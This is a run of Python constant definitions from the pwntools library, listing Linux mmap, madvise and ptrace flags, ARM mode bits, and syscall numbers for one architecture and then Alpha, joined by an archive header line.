AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x10) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000) MAP_LOCKED = Constant('MAP_LOCKED',0x2000) MAP_NORESERVE = Constant('MAP_NORESERVE',0x4000) MAP_POPULATE = Constant('MAP_POPULATE',0x8000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000) MAP_STACK = Constant('MAP_STACK',0x20000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x40000) MS_ASYNC = Constant('MS_ASYNC',1) MS_INVALIDATE = Constant('MS_INVALIDATE',2) MS_SYNC = Constant('MS_SYNC',4) MCL_CURRENT = Constant('MCL_CURRENT',1) MCL_FUTURE = Constant('MCL_FUTURE',2) MCL_ONFAULT = Constant('MCL_ONFAULT',4) MADV_NORMAL = Constant('MADV_NORMAL',0x0) MADV_RANDOM = Constant('MADV_RANDOM',0x1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2) MADV_WILLNEED = Constant('MADV_WILLNEED',0x3) MADV_DONTNEED = Constant('MADV_DONTNEED',0x4) MAP_ANON = Constant('MAP_ANON',0x20) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) USR26_MODE = Constant('USR26_MODE',0x00) FIQ26_MODE = Constant('FIQ26_MODE',0x01) IRQ26_MODE = Constant('IRQ26_MODE',0x02) SVC26_MODE = Constant('SVC26_MODE',0x03) USR_MODE = Constant('USR_MODE',0x10) FIQ_MODE = Constant('FIQ_MODE',0x11) IRQ_MODE = Constant('IRQ_MODE',0x12) SVC_MODE = Constant('SVC_MODE',0x13) ABT_MODE = Constant('ABT_MODE',0x17) UND_MODE = Constant('UND_MODE',0x1b) SYSTEM_MODE = Constant('SYSTEM_MODE',0x1f) MODE_MASK = Constant('MODE_MASK',0x1f) T_BIT = Constant('T_BIT',0x20) F_BIT = Constant('F_BIT',0x40) I_BIT = Constant('I_BIT',0x80) CC_V_BIT = Constant('CC_V_BIT',(1 << 28)) CC_C_BIT = Constant('CC_C_BIT',(1 << 29)) CC_Z_BIT = Constant('CC_Z_BIT',(1 << 30)) CC_N_BIT = Constant('CC_N_BIT',(1 << 31)) PCMASK = Constant('PCMASK',0) SYS_accept = Constant('SYS_accept',202) SYS_accept4 = Constant('SYS_accept4',242) SYS_acct = Constant('SYS_acct',89) SYS_add_key = Constant('SYS_add_key',217) SYS_adjtimex = Constant('SYS_adjtimex',171) SYS_arch_specific_syscall = Constant('SYS_arch_specific_syscall',244) SYS_bind = Constant('SYS_bind',200) SYS_bpf = Constant('SYS_bpf',280) SYS_brk = Constant('SYS_brk',214) SYS_capget = Constant('SYS_capget',90) SYS_capset = Constant('SYS_capset',91) SYS_chdir = Constant('SYS_chdir',49) SYS_chroot = Constant('SYS_chroot',51) SYS_clock_adjtime = Constant('SYS_clock_adjtime',266) SYS_clock_getres = Constant('SYS_clock_getres',114) SYS_clock_gettime = Constant('SYS_clock_gettime',113) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',115) SYS_clock_settime = Constant('SYS_clock_settime',112) SYS_clone = Constant('SYS_clone',220) SYS_clone3 = Constant('SYS_clone3',435) SYS_close = Constant('SYS_close',57) SYS_connect = Constant('SYS_connect',203) SYS_copy_file_range = Constant('SYS_copy_file_range',285) SYS_delete_module = Constant('SYS_delete_module',106) SYS_dup = Constant('SYS_dup',23) SYS_dup3 = Constant('SYS_dup3',24) SYS_epoll_create1 = Constant('SYS_epoll_create1',20) SYS_epoll_ctl = Constant('SYS_epoll_ctl',21) SYS_epoll_pwait = Constant('SYS_epoll_pwait',22) SYS_eventfd2 = Constant('SYS_eventfd2',19) SYS_execve = Constant('SYS_execve',221) SYS_execveat = Constant('SYS_execveat',281) SYS_exit = Constant('SYS_exit',93) SYS_exit_group = Constant('SYS_exit_group',94) SYS_faccessat = Constant('SYS_faccessat',48) SYS_fadvise64 = Constant('SYS_fadvise64',223) SYS_fallocate = Constant('SYS_fallocate',47) SYS_fanotify_init = Constant('SYS_fanotify_init',262) SYS_fanotify_mark = Constant('SYS_fanotify_mark',263) SYS_fchdir = Constant('SYS_fchdir',50) SYS_fchmod = Constant('SYS_fchmod',52) SYS_fchmodat = Constant('SYS_fchmodat',53) SYS_fchown = Constant('SYS_fchown',55) SYS_fchownat = Constant('SYS_fchownat',54) SYS_fcntl = Constant('SYS_fcntl',25) SYS_fdatasync = Constant('SYS_fdatasync',83) SYS_fgetxattr = Constant('SYS_fgetxattr',10) SYS_finit_module = Constant('SYS_finit_module',273) SYS_flistxattr = Constant('SYS_flistxattr',13) SYS_flock = Constant('SYS_flock',32) SYS_fremovexattr = Constant('SYS_fremovexattr',16) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',7) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',80) SYS_fstatat = Constant('SYS_fstatat',79) SYS_fstatfs = Constant('SYS_fstatfs',44) SYS_fsync = Constant('SYS_fsync',82) SYS_ftruncate = Constant('SYS_ftruncate',46) SYS_futex = Constant('SYS_futex',98) SYS_getcpu = Constant('SYS_getcpu',168) SYS_getcwd = Constant('SYS_getcwd',17) SYS_getdents64 = Constant('SYS_getdents64',61) SYS_getegid = Constant('SYS_getegid',177) SYS_geteuid = Constant('SYS_geteuid',175) SYS_getgid = Constant('SYS_getgid',176) SYS_getgroups = Constant('SYS_getgroups',158) SYS_getitimer = Constant('SYS_getitimer',102) SYS_get_mempolicy = Constant('SYS_get_mempolicy',236) SYS_getpeername = Constant('SYS_getpeername',205) SYS_getpgid = Constant('SYS_getpgid',155) SYS_getpid = Constant('SYS_getpid',172) SYS_getppid = Constant('SYS_getppid',173) SYS_getpriority = Constant('SYS_getpriority',141) SYS_getrandom = Constant('SYS_getrandom',278) SYS_getresgid = Constant('SYS_getresgid',150) SYS_getresuid = Constant('SYS_getresuid',148) SYS_getrlimit = Constant('SYS_getrlimit',163) SYS_get_robust_list = Constant('SYS_get_robust_list',100) SYS_getrusage = Constant('SYS_getrusage',165) SYS_getsid = Constant('SYS_getsid',156) SYS_getsockname = Constant('SYS_getsockname',204) SYS_getsockopt = Constant('SYS_getsockopt',209) SYS_gettid = Constant('SYS_gettid',178) SYS_gettimeofday = Constant('SYS_gettimeofday',169) SYS_getuid = Constant('SYS_getuid',174) SYS_getxattr = Constant('SYS_getxattr',8) SYS_init_module = Constant('SYS_init_module',105) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',27) SYS_inotify_init1 = Constant('SYS_inotify_init1',26) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',28) SYS_io_cancel = Constant('SYS_io_cancel',3) SYS_ioctl = Constant('SYS_ioctl',29) SYS_io_destroy = Constant('SYS_io_destroy',1) SYS_io_getevents = Constant('SYS_io_getevents',4) SYS_io_pgetevents = Constant('SYS_io_pgetevents',292) SYS_ioprio_get = Constant('SYS_ioprio_get',31) SYS_ioprio_set = Constant('SYS_ioprio_set',30) SYS_io_setup = Constant('SYS_io_setup',0) SYS_io_submit = Constant('SYS_io_submit',2) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_kcmp = Constant('SYS_kcmp',272) SYS_kexec_file_load = Constant('SYS_kexec_file_load',294) SYS_kexec_load = Constant('SYS_kexec_load',104) SYS_keyctl = Constant('SYS_keyctl',219) SYS_kill = Constant('SYS_kill',129) SYS_lgetxattr = Constant('SYS_lgetxattr',9) SYS_linkat = Constant('SYS_linkat',37) SYS_listen = Constant('SYS_listen',201) SYS_listxattr = Constant('SYS_listxattr',11) SYS_llistxattr = Constant('SYS_llistxattr',12) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',18) SYS_lremovexattr = Constant('SYS_lremovexattr',15) SYS_lseek = Constant('SYS_lseek',62) SYS_lsetxattr = Constant('SYS_lsetxattr',6) SYS_madvise = Constant('SYS_madvise',233) SYS_mbind = Constant('SYS_mbind',235) SYS_membarrier = Constant('SYS_membarrier',283) SYS_memfd_create = Constant('SYS_memfd_create',279) SYS_migrate_pages = Constant('SYS_migrate_pages',238) SYS_mincore = Constant('SYS_mincore',232) SYS_mkdirat = Constant('SYS_mkdirat',34) SYS_mknodat = Constant('SYS_mknodat',33) SYS_mlock = Constant('SYS_mlock',228) SYS_mlock2 = Constant('SYS_mlock2',284) SYS_mlockall = Constant('SYS_mlockall',230) SYS_mmap = Constant('SYS_mmap',222) SYS_mount = Constant('SYS_mount',40) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',239) SYS_mprotect = Constant('SYS_mprotect',226) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',185) SYS_mq_notify = Constant('SYS_mq_notify',184) SYS_mq_open = Constant('SYS_mq_open',180) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',183) SYS_mq_timedsend = Constant('SYS_mq_timedsend',182) SYS_mq_unlink = Constant('SYS_mq_unlink',181) SYS_mremap = Constant('SYS_mremap',216) SYS_msgctl = Constant('SYS_msgctl',187) SYS_msgget = Constant('SYS_msgget',186) SYS_msgrcv = Constant('SYS_msgrcv',188) SYS_msgsnd = Constant('SYS_msgsnd',189) SYS_msync = Constant('SYS_msync',227) SYS_munlock = Constant('SYS_munlock',229) SYS_munlockall = Constant('SYS_munlockall',231) SYS_munmap = Constant('SYS_munmap',215) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',264) SYS_nanosleep = Constant('SYS_nanosleep',101) SYS_newfstatat = Constant('SYS_newfstatat',79) SYS_nfsservctl = Constant('SYS_nfsservctl',42) SYS_openat = Constant('SYS_openat',56) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',265) SYS_open_tree = Constant('SYS_open_tree',428) SYS_perf_event_open = Constant('SYS_perf_event_open',241) SYS_personality = Constant('SYS_personality',92) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424) SYS_pipe2 = Constant('SYS_pipe2',59) SYS_pivot_root = Constant('SYS_pivot_root',41) SYS_pkey_alloc = Constant('SYS_pkey_alloc',289) SYS_pkey_free = Constant('SYS_pkey_free',290) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',288) SYS_ppoll = Constant('SYS_ppoll',73) SYS_prctl = Constant('SYS_prctl',167) SYS_pread64 = Constant('SYS_pread64',67) SYS_preadv = Constant('SYS_preadv',69) SYS_preadv2 = Constant('SYS_preadv2',286) SYS_prlimit64 = Constant('SYS_prlimit64',261) SYS_process_vm_readv = Constant('SYS_process_vm_readv',270) SYS_process_vm_writev = Constant('SYS_process_vm_writev',271) SYS_pselect6 = Constant('SYS_pselect6',72) SYS_ptrace = Constant('SYS_ptrace',117) SYS_pwrite64 = Constant('SYS_pwrite64',68) SYS_pwritev = Constant('SYS_pwritev',70) SYS_pwritev2 = Constant('SYS_pwritev2',287) SYS_quotactl = Constant('SYS_quotactl',60) SYS_read = Constant('SYS_read',63) SYS_readahead = Constant('SYS_readahead',213) SYS_readlinkat = Constant('SYS_readlinkat',78) SYS_readv = Constant('SYS_readv',65) SYS_reboot = Constant('SYS_reboot',142) SYS_recvfrom = Constant('SYS_recvfrom',207) SYS_recvmmsg = Constant('SYS_recvmmsg',243) SYS_recvmsg = Constant('SYS_recvmsg',212) SYS_remap_file_pages = Constant('SYS_remap_file_pages',234) SYS_removexattr = Constant('SYS_removexattr',14) SYS_renameat = Constant('SYS_renameat',38) SYS_renameat2 = Constant('SYS_renameat2',276) SYS_request_key = Constant('SYS_request_key',218) SYS_restart_syscall = Constant('SYS_restart_syscall',128) SYS_rseq = Constant('SYS_rseq',293) SYS_rt_sigaction = Constant('SYS_rt_sigaction',134) SYS_rt_sigpending = Constant('SYS_rt_sigpending',136) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',135) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',138) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',139) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',133) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',137) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',240) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',123) SYS_sched_getattr = Constant('SYS_sched_getattr',275) SYS_sched_getparam = Constant('SYS_sched_getparam',121) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',125) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',126) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',120) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',127) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',122) SYS_sched_setattr = Constant('SYS_sched_setattr',274) SYS_sched_setparam = Constant('SYS_sched_setparam',118) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',119) SYS_sched_yield = Constant('SYS_sched_yield',124) SYS_seccomp = Constant('SYS_seccomp',277) SYS_semctl = Constant('SYS_semctl',191) SYS_semget = Constant('SYS_semget',190) SYS_semop = Constant('SYS_semop',193) SYS_semtimedop = Constant('SYS_semtimedop',192) SYS_sendfile = Constant('SYS_sendfile',71) SYS_sendmmsg = Constant('SYS_sendmmsg',269) SYS_sendmsg = Constant('SYS_sendmsg',211) SYS_sendto = Constant('SYS_sendto',206) SYS_setdomainname = Constant('SYS_setdomainname',162) SYS_setfsgid = Constant('SYS_setfsgid',152) SYS_setfsuid = Constant('SYS_setfsuid',151) SYS_setgid = Constant('SYS_setgid',144) SYS_setgroups = Constant('SYS_setgroups',159) SYS_sethostname = Constant('SYS_sethostname',161) SYS_setitimer = Constant('SYS_setitimer',103) SYS_set_mempolicy = Constant('SYS_set_mempolicy',237) SYS_setns = Constant('SYS_setns',268) SYS_setpgid = Constant('SYS_setpgid',154) SYS_setpriority = Constant('SYS_setpriority',140) SYS_setregid = Constant('SYS_setregid',143) SYS_setresgid = Constant('SYS_setresgid',149) SYS_setresuid = Constant('SYS_setresuid',147) SYS_setreuid = Constant('SYS_setreuid',145) SYS_setrlimit = Constant('SYS_setrlimit',164) SYS_set_robust_list = Constant('SYS_set_robust_list',99) SYS_setsid = Constant('SYS_setsid',157) SYS_setsockopt = Constant('SYS_setsockopt',208) SYS_set_tid_address = Constant('SYS_set_tid_address',96) SYS_settimeofday = Constant('SYS_settimeofday',170) SYS_setuid = Constant('SYS_setuid',146) SYS_setxattr = Constant('SYS_setxattr',5) SYS_shmat = Constant('SYS_shmat',196) SYS_shmctl = Constant('SYS_shmctl',195) SYS_shmdt = Constant('SYS_shmdt',197) SYS_shmget = Constant('SYS_shmget',194) SYS_shutdown = Constant('SYS_shutdown',210) SYS_sigaltstack = Constant('SYS_sigaltstack',132) SYS_signalfd4 = Constant('SYS_signalfd4',74) SYS_socket = Constant('SYS_socket',198) SYS_socketpair = Constant('SYS_socketpair',199) SYS_splice = Constant('SYS_splice',76) SYS_statfs = Constant('SYS_statfs',43) SYS_statx = Constant('SYS_statx',291) SYS_swapoff = Constant('SYS_swapoff',225) SYS_swapon = Constant('SYS_swapon',224) SYS_symlinkat = Constant('SYS_symlinkat',36) SYS_sync = Constant('SYS_sync',81) SYS_sync_file_range = Constant('SYS_sync_file_range',84) SYS_syncfs = Constant('SYS_syncfs',267) SYS_sysinfo = Constant('SYS_sysinfo',179) SYS_syslog = Constant('SYS_syslog',116) SYS_tee = Constant('SYS_tee',77) SYS_tgkill = Constant('SYS_tgkill',131) SYS_timer_create = Constant('SYS_timer_create',107) SYS_timer_delete = Constant('SYS_timer_delete',111) SYS_timerfd_create = Constant('SYS_timerfd_create',85) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',87) SYS_timerfd_settime = Constant('SYS_timerfd_settime',86) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',109) SYS_timer_gettime = Constant('SYS_timer_gettime',108) SYS_timer_settime = Constant('SYS_timer_settime',110) SYS_times = Constant('SYS_times',153) SYS_tkill = Constant('SYS_tkill',130) SYS_truncate = Constant('SYS_truncate',45) SYS_umask = Constant('SYS_umask',166) SYS_umount2 = Constant('SYS_umount2',39) SYS_uname = Constant('SYS_uname',160) SYS_unlinkat = Constant('SYS_unlinkat',35) SYS_unshare = Constant('SYS_unshare',97) SYS_userfaultfd = Constant('SYS_userfaultfd',282) SYS_utimensat = Constant('SYS_utimensat',88) SYS_vhangup = Constant('SYS_vhangup',58) SYS_vmsplice = Constant('SYS_vmsplice',75) SYS_wait4 = Constant('SYS_wait4',260) SYS_waitid = Constant('SYS_waitid',95) SYS_write = Constant('SYS_write',64) SYS_writev = Constant('SYS_writev',66) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/alpha.py000066400000000000000000002274651507273764500243270ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_osf_syscall = Constant('__NR_osf_syscall',0) __NR_exit = Constant('__NR_exit',1) __NR_fork = Constant('__NR_fork',2) __NR_read = Constant('__NR_read',3) __NR_write = Constant('__NR_write',4) __NR_osf_old_open = Constant('__NR_osf_old_open',5) __NR_close = Constant('__NR_close',6) __NR_osf_wait4 = Constant('__NR_osf_wait4',7) __NR_osf_old_creat = Constant('__NR_osf_old_creat',8) __NR_link = Constant('__NR_link',9) __NR_unlink = Constant('__NR_unlink',10) __NR_osf_execve = Constant('__NR_osf_execve',11) __NR_chdir = Constant('__NR_chdir',12) __NR_fchdir = Constant('__NR_fchdir',13) __NR_mknod = Constant('__NR_mknod',14) __NR_chmod = Constant('__NR_chmod',15) __NR_chown = Constant('__NR_chown',16) __NR_brk = Constant('__NR_brk',17) __NR_osf_getfsstat = Constant('__NR_osf_getfsstat',18) __NR_lseek = Constant('__NR_lseek',19) __NR_getxpid = Constant('__NR_getxpid',20) __NR_osf_mount = Constant('__NR_osf_mount',21) __NR_umount = Constant('__NR_umount',22) __NR_setuid = Constant('__NR_setuid',23) __NR_getxuid = Constant('__NR_getxuid',24) __NR_exec_with_loader = Constant('__NR_exec_with_loader',25) __NR_ptrace = Constant('__NR_ptrace',26) __NR_osf_nrecvmsg = Constant('__NR_osf_nrecvmsg',27) __NR_osf_nsendmsg = Constant('__NR_osf_nsendmsg',28) __NR_osf_nrecvfrom = Constant('__NR_osf_nrecvfrom',29) __NR_osf_naccept = Constant('__NR_osf_naccept',30) __NR_osf_ngetpeername = Constant('__NR_osf_ngetpeername',31) __NR_osf_ngetsockname = Constant('__NR_osf_ngetsockname',32) __NR_access = Constant('__NR_access',33) __NR_osf_chflags = Constant('__NR_osf_chflags',34) __NR_osf_fchflags = Constant('__NR_osf_fchflags',35) __NR_sync = Constant('__NR_sync',36) __NR_kill = Constant('__NR_kill',37) __NR_osf_old_stat = Constant('__NR_osf_old_stat',38) __NR_setpgid = Constant('__NR_setpgid',39) __NR_osf_old_lstat = Constant('__NR_osf_old_lstat',40) __NR_dup = Constant('__NR_dup',41) __NR_pipe = Constant('__NR_pipe',42) __NR_osf_set_program_attributes = Constant('__NR_osf_set_program_attributes',43) __NR_osf_profil = Constant('__NR_osf_profil',44) __NR_open = Constant('__NR_open',45) __NR_osf_old_sigaction = Constant('__NR_osf_old_sigaction',46) __NR_getxgid = Constant('__NR_getxgid',47) __NR_osf_sigprocmask = Constant('__NR_osf_sigprocmask',48) __NR_osf_getlogin = Constant('__NR_osf_getlogin',49) __NR_osf_setlogin = Constant('__NR_osf_setlogin',50) __NR_acct = Constant('__NR_acct',51) __NR_sigpending = Constant('__NR_sigpending',52) __NR_ioctl = Constant('__NR_ioctl',54) __NR_osf_reboot = Constant('__NR_osf_reboot',55) __NR_osf_revoke = Constant('__NR_osf_revoke',56) __NR_symlink = Constant('__NR_symlink',57) __NR_readlink = Constant('__NR_readlink',58) __NR_execve = Constant('__NR_execve',59) __NR_umask = Constant('__NR_umask',60) __NR_chroot = Constant('__NR_chroot',61) __NR_osf_old_fstat = Constant('__NR_osf_old_fstat',62) __NR_getpgrp = Constant('__NR_getpgrp',63) __NR_getpagesize = Constant('__NR_getpagesize',64) __NR_osf_mremap = Constant('__NR_osf_mremap',65) __NR_vfork = Constant('__NR_vfork',66) __NR_stat = Constant('__NR_stat',67) __NR_lstat = Constant('__NR_lstat',68) __NR_osf_sbrk = Constant('__NR_osf_sbrk',69) __NR_osf_sstk = Constant('__NR_osf_sstk',70) __NR_mmap = Constant('__NR_mmap',71) __NR_osf_old_vadvise = Constant('__NR_osf_old_vadvise',72) __NR_munmap = Constant('__NR_munmap',73) __NR_mprotect = Constant('__NR_mprotect',74) __NR_madvise = Constant('__NR_madvise',75) __NR_vhangup = Constant('__NR_vhangup',76) __NR_osf_kmodcall = Constant('__NR_osf_kmodcall',77) __NR_osf_mincore = Constant('__NR_osf_mincore',78) __NR_getgroups = Constant('__NR_getgroups',79) __NR_setgroups = Constant('__NR_setgroups',80) __NR_osf_old_getpgrp = Constant('__NR_osf_old_getpgrp',81) __NR_setpgrp = Constant('__NR_setpgrp',82) __NR_osf_setitimer = Constant('__NR_osf_setitimer',83) __NR_osf_old_wait = Constant('__NR_osf_old_wait',84) __NR_osf_table = Constant('__NR_osf_table',85) __NR_osf_getitimer = Constant('__NR_osf_getitimer',86) __NR_gethostname = Constant('__NR_gethostname',87) __NR_sethostname = Constant('__NR_sethostname',88) __NR_getdtablesize = Constant('__NR_getdtablesize',89) __NR_dup2 = Constant('__NR_dup2',90) __NR_fstat = Constant('__NR_fstat',91) __NR_fcntl = Constant('__NR_fcntl',92) __NR_osf_select = Constant('__NR_osf_select',93) __NR_poll = Constant('__NR_poll',94) __NR_fsync = Constant('__NR_fsync',95) __NR_setpriority = Constant('__NR_setpriority',96) __NR_socket = Constant('__NR_socket',97) __NR_connect = Constant('__NR_connect',98) __NR_accept = Constant('__NR_accept',99) __NR_getpriority = Constant('__NR_getpriority',100) __NR_send = Constant('__NR_send',101) __NR_recv = Constant('__NR_recv',102) __NR_sigreturn = Constant('__NR_sigreturn',103) __NR_bind = Constant('__NR_bind',104) __NR_setsockopt = Constant('__NR_setsockopt',105) __NR_listen = Constant('__NR_listen',106) __NR_osf_plock = Constant('__NR_osf_plock',107) __NR_osf_old_sigvec = Constant('__NR_osf_old_sigvec',108) __NR_osf_old_sigblock = Constant('__NR_osf_old_sigblock',109) __NR_osf_old_sigsetmask = Constant('__NR_osf_old_sigsetmask',110) __NR_sigsuspend = Constant('__NR_sigsuspend',111) __NR_osf_sigstack = Constant('__NR_osf_sigstack',112) __NR_recvmsg = Constant('__NR_recvmsg',113) __NR_sendmsg = Constant('__NR_sendmsg',114) __NR_osf_old_vtrace = Constant('__NR_osf_old_vtrace',115) __NR_osf_gettimeofday = Constant('__NR_osf_gettimeofday',116) __NR_osf_getrusage = Constant('__NR_osf_getrusage',117) __NR_getsockopt = Constant('__NR_getsockopt',118) __NR_readv = Constant('__NR_readv',120) __NR_writev = Constant('__NR_writev',121) __NR_osf_settimeofday = Constant('__NR_osf_settimeofday',122) __NR_fchown = Constant('__NR_fchown',123) __NR_fchmod = Constant('__NR_fchmod',124) __NR_recvfrom = Constant('__NR_recvfrom',125) __NR_setreuid = Constant('__NR_setreuid',126) __NR_setregid = Constant('__NR_setregid',127) __NR_rename = Constant('__NR_rename',128) __NR_truncate = Constant('__NR_truncate',129) __NR_ftruncate = Constant('__NR_ftruncate',130) __NR_flock = Constant('__NR_flock',131) __NR_setgid = Constant('__NR_setgid',132) __NR_sendto = Constant('__NR_sendto',133) __NR_shutdown = Constant('__NR_shutdown',134) __NR_socketpair = Constant('__NR_socketpair',135) __NR_mkdir = Constant('__NR_mkdir',136) __NR_rmdir = Constant('__NR_rmdir',137) __NR_osf_utimes = Constant('__NR_osf_utimes',138) __NR_osf_old_sigreturn = Constant('__NR_osf_old_sigreturn',139) __NR_osf_adjtime = Constant('__NR_osf_adjtime',140) __NR_getpeername = Constant('__NR_getpeername',141) __NR_osf_gethostid = Constant('__NR_osf_gethostid',142) __NR_osf_sethostid = Constant('__NR_osf_sethostid',143) __NR_getrlimit = Constant('__NR_getrlimit',144) __NR_setrlimit = Constant('__NR_setrlimit',145) __NR_osf_old_killpg = Constant('__NR_osf_old_killpg',146) __NR_setsid = Constant('__NR_setsid',147) __NR_quotactl = Constant('__NR_quotactl',148) __NR_osf_oldquota = Constant('__NR_osf_oldquota',149) __NR_getsockname = Constant('__NR_getsockname',150) __NR_osf_pid_block = Constant('__NR_osf_pid_block',153) __NR_osf_pid_unblock = Constant('__NR_osf_pid_unblock',154) 